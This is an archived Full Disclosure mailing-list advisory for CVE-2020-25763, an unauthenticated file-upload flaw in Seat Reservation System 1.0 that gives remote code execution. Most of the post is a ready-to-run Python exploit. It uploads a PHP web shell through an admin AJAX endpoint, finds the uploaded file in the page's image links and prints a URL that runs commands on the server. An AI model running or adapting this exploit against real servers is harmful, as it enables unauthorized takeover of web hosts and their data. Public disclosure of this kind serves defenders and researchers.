lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAJDrQPZ+GYCMo8LKJ4dRc-QYLyHpMwEE0Xe__v_bmp=m8LfZYw@mail.gmail.com> Date: Fri, 18 Sep 2020 22:15:25 -0400 From: Ava Tester One <avatesterone@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Seat Reservation System 1.0 Unauthenticated Remote Code Execution (CVE-2020-25763) Seat Reservation System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading PHP files. Vendor Homepage: www.sourcecodester.com Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip Author: Rahul Ramkumar Date: 2020-09-16 CVE: CVE-2020-25763 PoC: ------- # Exploit Title: Seat Reservation System 1.0 - Unauthenticated Remote Code Execution import requests, sys, urllib, re from lxml import etree from io import StringIO from colorama import Fore, Back, Style requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) import random import string def print_usage(STRING): return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET if __name__ == "__main__": if len(sys.argv) != 2: print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0]) print print_usage("Example:\t python %s ' https://192.168.1.72:443/seat_reservation/'" % sys.argv[0]) sys.exit(-1) SERVER_URL = sys.argv[1] UPLOAD_DIR = 'admin/ajax.php?action=save_movie' UPLOAD_URL = SERVER_URL + UPLOAD_DIR random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(16)]) webshell = random+'.php' s = requests.Session() s.get(SERVER_URL, verify=False) image = { 'cover': ( webshell, '<?php echo shell_exec($_GET["d3crypt"]); ?>', 'application/php', {'Content-Disposition': 'form-data'} ) } fdata = {'id': '','title':'Shelling','description':'','duration_hour':'3','duration_min':'0','date_showing':'2020-01-01','end_date':'2040-09-25'} r1 = s.post(url=UPLOAD_URL, files=image, data=fdata, verify=False) r2 = s.get(SERVER_URL, verify=False) response_page = r2.content.decode("utf-8") parser = etree.HTMLParser() tree = etree.parse(StringIO(response_page), parser=parser) def get_links(tree): refs = tree.xpath("//img") links = [link.get('src', '') for link in refs] return [l for l in links] links = get_links(tree) print('Access your webshell at: ') for link in links: if webshell in link: print(SERVER_URL + link+'?d3crypt=whoami') _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists